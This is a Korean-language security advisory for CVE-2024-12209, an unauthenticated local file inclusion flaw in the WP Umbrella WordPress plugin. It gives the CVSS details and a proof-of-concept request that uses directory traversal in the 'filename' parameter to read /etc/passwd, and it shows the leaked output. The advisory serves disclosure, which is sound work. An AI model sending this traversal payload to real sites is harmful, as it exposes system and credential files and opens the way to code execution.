CVE-2024-12209

WP Umbrella: Update Backup Restore & Monitoring <= 2.17.0 - 인증되지 않은 로컬 파일 포함

설명

WordPress용 WP Umbrella: Update Backup Restore & Monitoring 플러그인은 버전 2.17.0 이하에서 'umbrella-restore' 액션의 'filename' 파라미터를 통해 로컬 파일 포함(Local File Inclusion) 취약점에 영향을 받습니다. 이로 인해 인증되지 않은 공격자가 서버의 임의 파일을 포함 및 실행할 수 있어, 해당 파일 내의 PHP 코드를 실행할 수 있게 됩니다. 이는 접근 제어를 우회하거나 민감한 데이터를 획득하거나, 이미지 및 기타 "안전한" 파일 유형이 업로드 및 포함될 수 있는 경우 코드 실행을 달성하는 데 사용될 수 있습니다.

세부 정보

• 유형: plugin
• 슬러그: wp-health
• 영향 받는 버전: 2.17.0
• CVSS 점수: 9.8
• CVSS 등급: Critical
• CVSS 벡터: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• CVE: CVE-2024-12209
• 상태: Active

POC

https://wp-dev.ddev.site/?umbrella-restore=1&filename=../../../../../../etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin